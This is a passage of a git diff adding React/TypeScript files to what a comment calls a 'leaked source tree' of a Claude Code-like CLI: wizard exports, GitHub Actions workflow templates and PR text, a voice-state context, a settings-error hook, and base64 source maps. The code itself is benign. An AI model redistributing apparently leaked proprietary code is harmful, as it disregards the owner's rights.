sT3V0cHV0UHJvdmlkZXIsXG4gKiBpbmRpY2F0aW5nIHRoZSBzaGVsbCBvdXRwdXQgc2hvdWxkIGJlIHNob3duIGluIGZ1bGwgcmF0aGVyIHRoYW4gdHJ1bmNhdGVkLlxuICovXG5leHBvcnQgZnVuY3Rpb24gdXNlRXhwYW5kU2hlbGxPdXRwdXQoKTogYm9vbGVhbiB7XG4gIHJldHVybiB1c2VDb250ZXh0KEV4cGFuZFNoZWxsT3V0cHV0Q29udGV4dClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsVUFBVSxRQUFRLE9BQU87O0FBRWxDO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsTUFBTUMsd0JBQXdCLEdBQUdGLEtBQUssQ0FBQ0csYUFBYSxDQUFDLEtBQUssQ0FBQztBQUUzRCxPQUFPLFNBQUFDLDBCQUFBQyxFQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQW1DO0lBQUFDO0VBQUEsSUFBQUgsRUFJekM7RUFBQSxJQUFBSSxFQUFBO0VBQUEsSUFBQUgsQ0FBQSxRQUFBRSxRQUFBO0lBRUdDLEVBQUEsc0NBQTBDLEtBQUksQ0FBSixLQUFHLENBQUMsQ0FDM0NELFNBQU8sQ0FDVixvQ0FBb0M7SUFBQUYsQ0FBQSxNQUFBRSxRQUFBO0lBQUFGLENBQUEsTUFBQUcsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUgsQ0FBQTtFQUFBO0VBQUEsT0FGcENHLEVBRW9DO0FBQUE7O0FBSXhDO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxxQkFBQTtFQUFBLE9BQ0VULFVBQVUsQ0FBQ0Msd0JBQXdCLENBQUM7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/wizard/index.ts b/_all-in-one-upload/cc-haha/src/components/wizard/index.ts
new file mode 100644
index 0000000..29a4c8e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/wizard/index.ts
@@ -0,0 +1,9 @@
+export type {
+  WizardContextValue,
+  WizardProviderProps,
+  WizardStepComponent,
+} from './types.js'
+export { useWizard } from './useWizard.js'
+export { WizardDialogLayout } from './WizardDialogLayout.js'
+export { WizardNavigationFooter } from './WizardNavigationFooter.js'
+export { WizardProvider } from './WizardProvider.js'
diff --git a/_all-in-one-upload/cc-haha/src/constants/github-app.ts b/_all-in-one-upload/cc-haha/src/constants/github-app.ts
new file mode 100644
index 0000000..1df9f51
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/constants/github-app.ts
@@ -0,0 +1,144 @@
+export const PR_TITLE = 'Add Claude Code GitHub Workflow'
+
+export const GITHUB_ACTION_SETUP_DOCS_URL =
+  'https://github.com/anthropics/claude-code-action/blob/main/docs/setup.md'
+
+export const WORKFLOW_CONTENT = `name: Claude Code
+
+on:
+  issue_comment:
+    types: [created]
+  pull_request_review_comment:
+    types: [created]
+  issues:
+    types: [opened, assigned]
+  pull_request_review:
+    types: [submitted]
+
+jobs:
+  claude:
+    if: |
+      (github.event_name == 'issue_comment' && contains(github.event.comment.body, '@claude')) ||
+      (github.event_name == 'pull_request_review_comment' && contains(github.event.comment.body, '@claude')) ||
+      (github.event_name == 'pull_request_review' && contains(github.event.review.body, '@claude')) ||
+      (github.event_name == 'issues' && (contains(github.event.issue.body, '@claude') || contains(github.event.issue.title, '@claude')))
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      pull-requests: read
+      issues: read
+      id-token: write
+      actions: read # Required for Claude to read CI results on PRs
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 1
+
+      - name: Run Claude Code
+        id: claude
+        uses: anthropics/claude-code-action@v1
+        with:
+          anthropic_api_key: \${{ secrets.ANTHROPIC_API_KEY }}
+
+          # This is an optional setting that allows Claude to read CI results on PRs
+          additional_permissions: |
+            actions: read
+
+          # Optional: Give a custom prompt to Claude. If this is not specified, Claude will perform the instructions specified in the comment that tagged it.
+          # prompt: 'Update the pull request description to include a summary of changes.'
+
+          # Optional: Add claude_args to customize behavior and configuration
+          # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
+          # or https://code.claude.com/docs/en/cli-reference for available options
+          # claude_args: '--allowed-tools Bash(gh pr:*)'
+
+`
+
+export const PR_BODY = `## 🤖 Installing Claude Code GitHub App
+
+This PR adds a GitHub Actions workflow that enables Claude Code integration in our repository.
+
+### What is Claude Code?
+
+[Claude Code](https://claude.com/claude-code) is an AI coding agent that can help with:
+- Bug fixes and improvements  
+- Documentation updates
+- Implementing new features
+- Code reviews and suggestions
+- Writing tests
+- And more!
+
+### How it works
+
+Once this PR is merged, we'll be able to interact with Claude by mentioning @claude in a pull request or issue comment.
+Once the workflow is triggered, Claude will analyze the comment and surrounding context, and execute on the request in a GitHub action.
+
+### Important Notes
+
+- **This workflow won't take effect until this PR is merged**
+- **@claude mentions won't work until after the merge is complete**
+- The workflow runs automatically whenever Claude is mentioned in PR or issue comments
+- Claude gets access to the entire PR or issue context including files, diffs, and previous comments
+
+### Security
+
+- Our Anthropic API key is securely stored as a GitHub Actions secret
+- Only users with write access to the repository can trigger the workflow
+- All Claude runs are stored in the GitHub Actions run history
+- Claude's default tools are limited to reading/writing files and interacting with our repo by creating comments, branches, and commits.
+- We can add more allowed tools by adding them to the workflow file like:
+
+\`\`\`
+allowed_tools: Bash(npm install),Bash(npm run build),Bash(npm run lint),Bash(npm run test)
+\`\`\`
+
+There's more information in the [Claude Code action repo](https://github.com/anthropics/claude-code-action).
+
+After merging this PR, let's try mentioning @claude in a comment on any PR to get started!`
+
+export const CODE_REVIEW_PLUGIN_WORKFLOW_CONTENT = `name: Claude Code Review
+
+on:
+  pull_request:
+    types: [opened, synchronize, ready_for_review, reopened]
+    # Optional: Only run on specific file changes
+    # paths:
+    #   - "src/**/*.ts"
+    #   - "src/**/*.tsx"
+    #   - "src/**/*.js"
+    #   - "src/**/*.jsx"
+
+jobs:
+  claude-review:
+    # Optional: Filter by PR author
+    # if: |
+    #   github.event.pull_request.user.login == 'external-contributor' ||
+    #   github.event.pull_request.user.login == 'new-developer' ||
+    #   github.event.pull_request.author_association == 'FIRST_TIME_CONTRIBUTOR'
+
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      pull-requests: read
+      issues: read
+      id-token: write
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 1
+
+      - name: Run Claude Code Review
+        id: claude-review
+        uses: anthropics/claude-code-action@v1
+        with:
+          anthropic_api_key: \${{ secrets.ANTHROPIC_API_KEY }}
+          plugin_marketplaces: 'https://github.com/anthropics/claude-code.git'
+          plugins: 'code-review@claude-code-plugins'
+          prompt: '/code-review:code-review \${{ github.repository }}/pull/\${{ github.event.pull_request.number }}'
+          # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
+          # or https://code.claude.com/docs/en/cli-reference for available options
+
+`
diff --git a/_all-in-one-upload/cc-haha/src/context/voice.tsx b/_all-in-one-upload/cc-haha/src/context/voice.tsx
new file mode 100644
index 0000000..04e14dd
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/context/voice.tsx
@@ -0,0 +1,88 @@
+import { c as _c } from "react/compiler-runtime";
+import React, { createContext, useContext, useState, useSyncExternalStore } from 'react';
+import { createStore, type Store } from '../state/store.js';
+export type VoiceState = {
+  voiceState: 'idle' | 'recording' | 'processing';
+  voiceError: string | null;
+  voiceInterimTranscript: string;
+  voiceAudioLevels: number[];
+  voiceWarmingUp: boolean;
+};
+const DEFAULT_STATE: VoiceState = {
+  voiceState: 'idle',
+  voiceError: null,
+  voiceInterimTranscript: '',
+  voiceAudioLevels: [],
+  voiceWarmingUp: false
+};
+type VoiceStore = Store<VoiceState>;
+const VoiceContext = createContext<VoiceStore | null>(null);
+type Props = {
+  children: React.ReactNode;
+};
+export function VoiceProvider(t0) {
+  const $ = _c(3);
+  const {
+    children
+  } = t0;
+  const [store] = useState(_temp);
+  let t1;
+  if ($[0] !== children || $[1] !== store) {
+    t1 = <VoiceContext.Provider value={store}>{children}</VoiceContext.Provider>;
+    $[0] = children;
+    $[1] = store;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+function _temp() {
+  return createStore(DEFAULT_STATE);
+}
+function useVoiceStore() {
+  const store = useContext(VoiceContext);
+  if (!store) {
+    throw new Error("useVoiceState must be used within a VoiceProvider");
+  }
+  return store;
+}
+
+/**
+ * Subscribe to a slice of voice state. Only re-renders when the selected
+ * value changes (compared via Object.is).
+ */
+export function useVoiceState(selector) {
+  const $ = _c(3);
+  const store = useVoiceStore();
+  let t0;
+  if ($[0] !== selector || $[1] !== store) {
+    t0 = () => selector(store.getState());
+    $[0] = selector;
+    $[1] = store;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  const get = t0;
+  return useSyncExternalStore(store.subscribe, get, get);
+}
+
+/**
+ * Get the voice state setter. Stable reference — never causes re-renders.
+ * store.setState is synchronous: callers can read getVoiceState() immediately
+ * after to observe the new value (VoiceKeybindingHandler relies on this).
+ */
+export function useSetVoiceState() {
+  return useVoiceStore().setState;
+}
+
+/**
+ * Get a synchronous reader for fresh state inside callbacks. Unlike
+ * useVoiceState (which subscribes), this doesn't cause re-renders — use
+ * inside event handlers that need to read state set earlier in the same tick.
+ */
+export function useGetVoiceState() {
+  return useVoiceStore().getState;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsImNyZWF0ZUNvbnRleHQiLCJ1c2VDb250ZXh0IiwidXNlU3RhdGUiLCJ1c2VTeW5jRXh0ZXJuYWxTdG9yZSIsImNyZWF0ZVN0b3JlIiwiU3RvcmUiLCJWb2ljZVN0YXRlIiwidm9pY2VTdGF0ZSIsInZvaWNlRXJyb3IiLCJ2b2ljZUludGVyaW1UcmFuc2NyaXB0Iiwidm9pY2VBdWRpb0xldmVscyIsInZvaWNlV2FybWluZ1VwIiwiREVGQVVMVF9TVEFURSIsIlZvaWNlU3RvcmUiLCJWb2ljZUNvbnRleHQiLCJQcm9wcyIsImNoaWxkcmVuIiwiUmVhY3ROb2RlIiwiVm9pY2VQcm92aWRlciIsInQwIiwiJCIsIl9jIiwic3RvcmUiLCJfdGVtcCIsInQxIiwidXNlVm9pY2VTdG9yZSIsIkVycm9yIiwidXNlVm9pY2VTdGF0ZSIsInNlbGVjdG9yIiwiZ2V0U3RhdGUiLCJnZXQiLCJzdWJzY3JpYmUiLCJ1c2VTZXRWb2ljZVN0YXRlIiwic2V0U3RhdGUiLCJ1c2VHZXRWb2ljZVN0YXRlIl0sInNvdXJjZXMiOlsidm9pY2UudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCBSZWFjdCwge1xuICBjcmVhdGVDb250ZXh0LFxuICB1c2VDb250ZXh0LFxuICB1c2VTdGF0ZSxcbiAgdXNlU3luY0V4dGVybmFsU3RvcmUsXG59IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgY3JlYXRlU3RvcmUsIHR5cGUgU3RvcmUgfSBmcm9tICcuLi9zdGF0ZS9zdG9yZS5qcydcblxuZXhwb3J0IHR5cGUgVm9pY2VTdGF0ZSA9IHtcbiAgdm9pY2VTdGF0ZTogJ2lkbGUnIHwgJ3JlY29yZGluZycgfCAncHJvY2Vzc2luZydcbiAgdm9pY2VFcnJvcjogc3RyaW5nIHwgbnVsbFxuICB2b2ljZUludGVyaW1UcmFuc2NyaXB0OiBzdHJpbmdcbiAgdm9pY2VBdWRpb0xldmVsczogbnVtYmVyW11cbiAgdm9pY2VXYXJtaW5nVXA6IGJvb2xlYW5cbn1cblxuY29uc3QgREVGQVVMVF9TVEFURTogVm9pY2VTdGF0ZSA9IHtcbiAgdm9pY2VTdGF0ZTogJ2lkbGUnLFxuICB2b2ljZUVycm9yOiBudWxsLFxuICB2b2ljZUludGVyaW1UcmFuc2NyaXB0OiAnJyxcbiAgdm9pY2VBdWRpb0xldmVsczogW10sXG4gIHZvaWNlV2FybWluZ1VwOiBmYWxzZSxcbn1cblxudHlwZSBWb2ljZVN0b3JlID0gU3RvcmU8Vm9pY2VTdGF0ZT5cblxuY29uc3QgVm9pY2VDb250ZXh0ID0gY3JlYXRlQ29udGV4dDxWb2ljZVN0b3JlIHwgbnVsbD4obnVsbClcblxudHlwZSBQcm9wcyA9IHtcbiAgY2hpbGRyZW46IFJlYWN0LlJlYWN0Tm9kZVxufVxuXG5leHBvcnQgZnVuY3Rpb24gVm9pY2VQcm92aWRlcih7IGNoaWxkcmVuIH06IFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gU3RvcmUgaXMgY3JlYXRlZCBvbmNlIOKAlCBzdGFibGUgY29udGV4dCB2YWx1ZSBtZWFucyB0aGUgcHJvdmlkZXIgbmV2ZXJcbiAgLy8gdHJpZ2dlcnMgcmUtcmVuZGVycy4gQ29uc3VtZXJzIHN1YnNjcmliZSB0byBzbGljZXMgdmlhIHVzZVZvaWNlU3RhdGUuXG4gIGNvbnN0IFtzdG9yZV0gPSB1c2VTdGF0ZSgoKSA9PiBjcmVhdGVTdG9yZTxWb2ljZVN0YXRlPihERUZBVUxUX1NUQVRFKSlcbiAgcmV0dXJuIDxWb2ljZUNvbnRleHQuUHJvdmlkZXIgdmFsdWU9e3N0b3JlfT57Y2hpbGRyZW59PC9Wb2ljZUNvbnRleHQuUHJvdmlkZXI+XG59XG5cbmZ1bmN0aW9uIHVzZVZvaWNlU3RvcmUoKTogVm9pY2VTdG9yZSB7XG4gIGNvbnN0IHN0b3JlID0gdXNlQ29udGV4dChWb2ljZUNvbnRleHQpXG4gIGlmICghc3RvcmUpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ3VzZVZvaWNlU3RhdGUgbXVzdCBiZSB1c2VkIHdpdGhpbiBhIFZvaWNlUHJvdmlkZXInKVxuICB9XG4gIHJldHVybiBzdG9yZVxufVxuXG4vKipcbiAqIFN1YnNjcmliZSB0byBhIHNsaWNlIG9mIHZvaWNlIHN0YXRlLiBPbmx5IHJlLXJlbmRlcnMgd2hlbiB0aGUgc2VsZWN0ZWRcbiAqIHZhbHVlIGNoYW5nZXMgKGNvbXBhcmVkIHZpYSBPYmplY3QuaXMpLlxuICovXG5leHBvcnQgZnVuY3Rpb24gdXNlVm9pY2VTdGF0ZTxUPihzZWxlY3RvcjogKHN0YXRlOiBWb2ljZVN0YXRlKSA9PiBUKTogVCB7XG4gIGNvbnN0IHN0b3JlID0gdXNlVm9pY2VTdG9yZSgpXG4gIGNvbnN0IGdldCA9ICgpID0+IHNlbGVjdG9yKHN0b3JlLmdldFN0YXRlKCkpXG4gIHJldHVybiB1c2VTeW5jRXh0ZXJuYWxTdG9yZShzdG9yZS5zdWJzY3JpYmUsIGdldCwgZ2V0KVxufVxuXG4vKipcbiAqIEdldCB0aGUgdm9pY2Ugc3RhdGUgc2V0dGVyLiBTdGFibGUgcmVmZXJlbmNlIOKAlCBuZXZlciBjYXVzZXMgcmUtcmVuZGVycy5cbiAqIHN0b3JlLnNldFN0YXRlIGlzIHN5bmNocm9ub3VzOiBjYWxsZXJzIGNhbiByZWFkIGdldFZvaWNlU3RhdGUoKSBpbW1lZGlhdGVseVxuICogYWZ0ZXIgdG8gb2JzZXJ2ZSB0aGUgbmV3IHZhbHVlIChWb2ljZUtleWJpbmRpbmdIYW5kbGVyIHJlbGllcyBvbiB0aGlzKS5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHVzZVNldFZvaWNlU3RhdGUoKTogKFxuICB1cGRhdGVyOiAocHJldjogVm9pY2VTdGF0ZSkgPT4gVm9pY2VTdGF0ZSxcbikgPT4gdm9pZCB7XG4gIHJldHVybiB1c2VWb2ljZVN0b3JlKCkuc2V0U3RhdGVcbn1cblxuLyoqXG4gKiBHZXQgYSBzeW5jaHJvbm91cyByZWFkZXIgZm9yIGZyZXNoIHN0YXRlIGluc2lkZSBjYWxsYmFja3MuIFVubGlrZVxuICogdXNlVm9pY2VTdGF0ZSAod2hpY2ggc3Vic2NyaWJlcyksIHRoaXMgZG9lc24ndCBjYXVzZSByZS1yZW5kZXJzIOKAlCB1c2VcbiAqIGluc2lkZSBldmVudCBoYW5kbGVycyB0aGF0IG5lZWQgdG8gcmVhZCBzdGF0ZSBzZXQgZWFybGllciBpbiB0aGUgc2FtZSB0aWNrLlxuICovXG5leHBvcnQgZnVuY3Rpb24gdXNlR2V0Vm9pY2VTdGF0ZSgpOiAoKSA9PiBWb2ljZVN0YXRlIHtcbiAgcmV0dXJuIHVzZVZvaWNlU3RvcmUoKS5nZXRTdGF0ZVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUEsT0FBT0EsS0FBSyxJQUNWQyxhQUFhLEVBQ2JDLFVBQVUsRUFDVkMsUUFBUSxFQUNSQyxvQkFBb0IsUUFDZixPQUFPO0FBQ2QsU0FBU0MsV0FBVyxFQUFFLEtBQUtDLEtBQUssUUFBUSxtQkFBbUI7QUFFM0QsT0FBTyxLQUFLQyxVQUFVLEdBQUc7RUFDdkJDLFVBQVUsRUFBRSxNQUFNLEdBQUcsV0FBVyxHQUFHLFlBQVk7RUFDL0NDLFVBQVUsRUFBRSxNQUFNLEdBQUcsSUFBSTtFQUN6QkMsc0JBQXNCLEVBQUUsTUFBTTtFQUM5QkMsZ0JBQWdCLEVBQUUsTUFBTSxFQUFFO0VBQzFCQyxjQUFjLEVBQUUsT0FBTztBQUN6QixDQUFDO0FBRUQsTUFBTUMsYUFBYSxFQUFFTixVQUFVLEdBQUc7RUFDaENDLFVBQVUsRUFBRSxNQUFNO0VBQ2xCQyxVQUFVLEVBQUUsSUFBSTtFQUNoQkMsc0JBQXNCLEVBQUUsRUFBRTtFQUMxQkMsZ0JBQWdCLEVBQUUsRUFBRTtFQUNwQkMsY0FBYyxFQUFFO0FBQ2xCLENBQUM7QUFFRCxLQUFLRSxVQUFVLEdBQUdSLEtBQUssQ0FBQ0MsVUFBVSxDQUFDO0FBRW5DLE1BQU1RLFlBQVksR0FBR2QsYUFBYSxDQUFDYSxVQUFVLEdBQUcsSUFBSSxDQUFDLENBQUMsSUFBSSxDQUFDO0FBRTNELEtBQUtFLEtBQUssR0FBRztFQUNYQyxRQUFRLEVBQUVqQixLQUFLLENBQUNrQixTQUFTO0FBQzNCLENBQUM7QUFFRCxPQUFPLFNBQUFDLGNBQUFDLEVBQUE7RUFBQSxNQUFBQyxDQUFBLEdBQUFDLEVBQUE7RUFBdUI7SUFBQUw7RUFBQSxJQUFBRyxFQUFtQjtFQUcvQyxPQUFBRyxLQUFBLElBQWdCcEIsUUFBUSxDQUFDcUIsS0FBNEMsQ0FBQztFQUFBLElBQUFDLEVBQUE7RUFBQSxJQUFBSixDQUFBLFFBQUFKLFFBQUEsSUFBQUksQ0FBQSxRQUFBRSxLQUFBO0lBQy9ERSxFQUFBLDBCQUE4QkYsS0FBSyxDQUFMQSxNQUFJLENBQUMsQ0FBR04sU0FBTyxDQUFFLHdCQUF3QjtJQUFBSSxDQUFBLE1BQUFKLFFBQUE7SUFBQUksQ0FBQSxNQUFBRSxLQUFBO0lBQUFGLENBQUEsTUFBQUksRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUosQ0FBQTtFQUFBO0VBQUEsT0FBdkVJLEVBQXVFO0FBQUE7QUFKekUsU0FBQUQsTUFBQTtFQUFBLE9BRzBCbkIsV0FBVyxDQUFhUSxhQUFhLENBQUM7QUFBQTtBQUl2RSxTQUFBYSxjQUFBO0VBQ0UsTUFBQUgsS0FBQSxHQUFjckIsVUFBVSxDQUFDYSxZQUFZLENBQUM7RUFDdEMsSUFBSSxDQUFDUSxLQUFLO0lBQ1IsTUFBTSxJQUFJSSxLQUFLLENBQUMsbURBQW1ELENBQUM7RUFBQTtFQUNyRSxPQUNNSixLQUFLO0FBQUE7O0FBR2Q7QUFDQTtBQUNBO0FBQ0E7QUFDQSxPQUFPLFNBQUFLLGNBQUFDLFFBQUE7RUFBQSxNQUFBUixDQUFBLEdBQUFDLEVBQUE7RUFDTCxNQUFBQyxLQUFBLEdBQWNHLGFBQWEsQ0FBQyxDQUFDO0VBQUEsSUFBQU4sRUFBQTtFQUFBLElBQUFDLENBQUEsUUFBQVEsUUFBQSxJQUFBUixDQUFBLFFBQUFFLEtBQUE7SUFDakJILEVBQUEsR0FBQUEsQ0FBQSxLQUFNUyxRQUFRLENBQUNOLEtBQUssQ0FBQU8sUUFBUyxDQUFDLENBQUMsQ0FBQztJQUFBVCxDQUFBLE1BQUFRLFFBQUE7SUFBQVIsQ0FBQSxNQUFBRSxLQUFBO0lBQUFGLENBQUEsTUFBQUQsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQUMsQ0FBQTtFQUFBO0VBQTVDLE1BQUFVLEdBQUEsR0FBWVgsRUFBZ0M7RUFBQSxPQUNyQ2hCLG9CQUFvQixDQUFDbUIsS0FBSyxDQUFBUyxTQUFVLEVBQUVELEdBQUcsRUFBRUEsR0FBRyxDQUFDO0FBQUE7O0FBR3hEO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxPQUFPLFNBQUFFLGlCQUFBO0VBQUEsT0FHRVAsYUFBYSxDQUFDLENBQUMsQ0FBQVEsUUFBUztBQUFBOztBQUdqQztBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0EsT0FBTyxTQUFBQyxpQkFBQTtFQUFBLE9BQ0VULGFBQWEsQ0FBQyxDQUFDLENBQUFJLFFBQVM7QUFBQSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/entrypoints/sdk/coreTypes.generated.ts b/_all-in-one-upload/cc-haha/src/entrypoints/sdk/coreTypes.generated.ts
new file mode 100644
index 0000000..51d022e
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/entrypoints/sdk/coreTypes.generated.ts
@@ -0,0 +1,3 @@
+// Local recovery stub for missing generated SDK types.
+// The leaked source tree does not include this codegen artifact.
+export {}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/.syncthing.usePromptsFromClaudeInChrome.tsx.tmp b/_all-in-one-upload/cc-haha/src/hooks/.syncthing.usePromptsFromClaudeInChrome.tsx.tmp
new file mode 100644
index 0000000..ed949a1
Binary files /dev/null and b/_all-in-one-upload/cc-haha/src/hooks/.syncthing.usePromptsFromClaudeInChrome.tsx.tmp differ
diff --git a/_all-in-one-upload/cc-haha/src/hooks/notifs/useSettingsErrors.tsx b/_all-in-one-upload/cc-haha/src/hooks/notifs/useSettingsErrors.tsx
new file mode 100644
index 0000000..d269482
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/notifs/useSettingsErrors.tsx
@@ -0,0 +1,69 @@
+import { c as _c } from "react/compiler-runtime";
+import { useCallback, useEffect, useState } from 'react';
+import { useNotifications } from 'src/context/notifications.js';
+import { getIsRemoteMode } from '../../bootstrap/state.js';
+import { getSettingsWithAllErrors } from '../../utils/settings/allErrors.js';
+import type { ValidationError } from '../../utils/settings/validation.js';
+import { useSettingsChange } from '../useSettingsChange.js';
+const SETTINGS_ERRORS_NOTIFICATION_KEY = 'settings-errors';
+export function useSettingsErrors() {
+  const $ = _c(6);
+  const {
+    addNotification,
+    removeNotification
+  } = useNotifications();
+  const [errors_0, setErrors] = useState(_temp);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      const {
+        errors: errors_1
+      } = getSettingsWithAllErrors();
+      setErrors(errors_1);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const handleSettingsChange = t0;
+  useSettingsChange(handleSettingsChange);
+  let t1;
+  let t2;
+  if ($[1] !== addNotification || $[2] !== errors_0 || $[3] !== removeNotification) {
+    t1 = () => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (errors_0.length > 0) {
+        const message = `Found ${errors_0.length} settings ${errors_0.length === 1 ? "issue" : "issues"} · /doctor for details`;
+        addNotification({
+          key: SETTINGS_ERRORS_NOTIFICATION_KEY,
+          text: message,
+          color: "warning",
+          priority: "high",
+          timeoutMs: 60000
+        });
+      } else {
+        removeNotification(SETTINGS_ERRORS_NOTIFICATION_KEY);
+      }
+    };
+    t2 = [errors_0, addNotification, removeNotification];
+    $[1] = addNotification;
+    $[2] = errors_0;
+    $[3] = removeNotification;
+    $[4] = t1;
+    $[5] = t2;
+  } else {
+    t1 = $[4];
+    t2 = $[5];
+  }
+  useEffect(t1, t2);
+  return errors_0;
+}
+function _temp() {
+  const {
+    errors
+  } = getSettingsWithAllErrors();
+  return errors;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJ1c2VDYWxsYmFjayIsInVzZUVmZmVjdCIsInVzZVN0YXRlIiwidXNlTm90aWZpY2F0aW9ucyIsImdldElzUmVtb3RlTW9kZSIsImdldFNldHRpbmdzV2l0aEFsbEVycm9ycyIsIlZhbGlkYXRpb25FcnJvciIsInVzZVNldHRpbmdzQ2hhbmdlIiwiU0VUVElOR1NfRVJST1JTX05PVElGSUNBVElPTl9LRVkiLCJ1c2VTZXR0aW5nc0Vycm9ycyIsIiQiLCJfYyIsImFkZE5vdGlmaWNhdGlvbiIsInJlbW92ZU5vdGlmaWNhdGlvbiIsImVycm9yc18wIiwic2V0RXJyb3JzIiwiX3RlbXAiLCJ0MCIsIlN5bWJvbCIsImZvciIsImVycm9ycyIsImVycm9yc18xIiwiaGFuZGxlU2V0dGluZ3NDaGFuZ2UiLCJ0MSIsInQyIiwibGVuZ3RoIiwibWVzc2FnZSIsImtleSIsInRleHQiLCJjb2xvciIsInByaW9yaXR5IiwidGltZW91dE1zIl0sInNvdXJjZXMiOlsidXNlU2V0dGluZ3NFcnJvcnMudHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IHVzZUNhbGxiYWNrLCB1c2VFZmZlY3QsIHVzZVN0YXRlIH0gZnJvbSAncmVhY3QnXG5pbXBvcnQgeyB1c2VOb3RpZmljYXRpb25zIH0gZnJvbSAnc3JjL2NvbnRleHQvbm90aWZpY2F0aW9ucy5qcydcbmltcG9ydCB7IGdldElzUmVtb3RlTW9kZSB9IGZyb20gJy4uLy4uL2Jvb3RzdHJhcC9zdGF0ZS5qcydcbmltcG9ydCB7IGdldFNldHRpbmdzV2l0aEFsbEVycm9ycyB9IGZyb20gJy4uLy4uL3V0aWxzL3NldHRpbmdzL2FsbEVycm9ycy5qcydcbmltcG9ydCB0eXBlIHsgVmFsaWRhdGlvbkVycm9yIH0gZnJvbSAnLi4vLi4vdXRpbHMvc2V0dGluZ3MvdmFsaWRhdGlvbi5qcydcbmltcG9ydCB7IHVzZVNldHRpbmdzQ2hhbmdlIH0gZnJvbSAnLi4vdXNlU2V0dGluZ3NDaGFuZ2UuanMnXG5cbmNvbnN0IFNFVFRJTkdTX0VSUk9SU19OT1RJRklDQVRJT05fS0VZID0gJ3NldHRpbmdzLWVycm9ycydcblxuZXhwb3J0IGZ1bmN0aW9uIHVzZVNldHRpbmdzRXJyb3JzKCk6IFZhbGlkYXRpb25FcnJvcltdIHtcbiAgY29uc3QgeyBhZGROb3RpZmljYXRpb24sIHJlbW92ZU5vdGlmaWNhdGlvbiB9ID0gdXNlTm90aWZpY2F0aW9ucygpXG4gIGNvbnN0IFtlcnJvcnMsIHNldEVycm9yc10gPSB1c2VTdGF0ZTxWYWxpZGF0aW9uRXJyb3JbXT4oKCkgPT4ge1xuICAgIGNvbnN0IHsgZXJyb3JzIH0gPSBnZXRTZXR0aW5nc1dpdGhBbGxFcnJvcnMoKVxuICAgIHJldHVybiBlcnJvcnNcbiAgfSlcblxuICBjb25zdCBoYW5kbGVTZXR0aW5nc0NoYW5nZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICBjb25zdCB7IGVycm9ycyB9ID0gZ2V0U2V0dGluZ3NXaXRoQWxsRXJyb3JzKClcbiAgICBzZXRFcnJvcnMoZXJyb3JzKVxuICB9LCBbXSlcblxuICB1c2VTZXR0aW5nc0NoYW5nZShoYW5kbGVTZXR0aW5nc0NoYW5nZSlcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIGlmIChnZXRJc1JlbW90ZU1vZGUoKSkgcmV0dXJuXG4gICAgaWYgKGVycm9ycy5sZW5ndGggPiAwKSB7XG4gICAgICBjb25zdCBtZXNzYWdlID0gYEZvdW5kICR7ZXJyb3JzLmxlbmd0aH0gc2V0dGluZ3MgJHtlcnJvcnMubGVuZ3RoID09PSAxID8gJ2lzc3VlJyA6ICdpc3N1ZXMnfSDCtyAvZG9jdG9yIGZvciBkZXRhaWxzYFxuICAgICAgYWRkTm90aWZpY2F0aW9uKHtcbiAgICAgICAga2V5OiBTRVRUSU5HU19FUlJPUlNfTk9USUZJQ0FUSU9OX0tFWSxcbiAgICAgICAgdGV4dDogbWVzc2FnZSxcbiAgICAgICAgY29sb3I6ICd3YXJuaW5nJyxcbiAgICAgICAgcHJpb3JpdHk6ICdoaWdoJyxcbiAgICAgICAgdGltZW91dE1zOiA2MDAwMCxcbiAgICAgIH0pXG4gICAgfSBlbHNlIHtcbiAgICAgIHJlbW92ZU5vdGlmaWNhdGlvbihTRVRUSU5HU19FUlJPUlNfTk9USUZJQ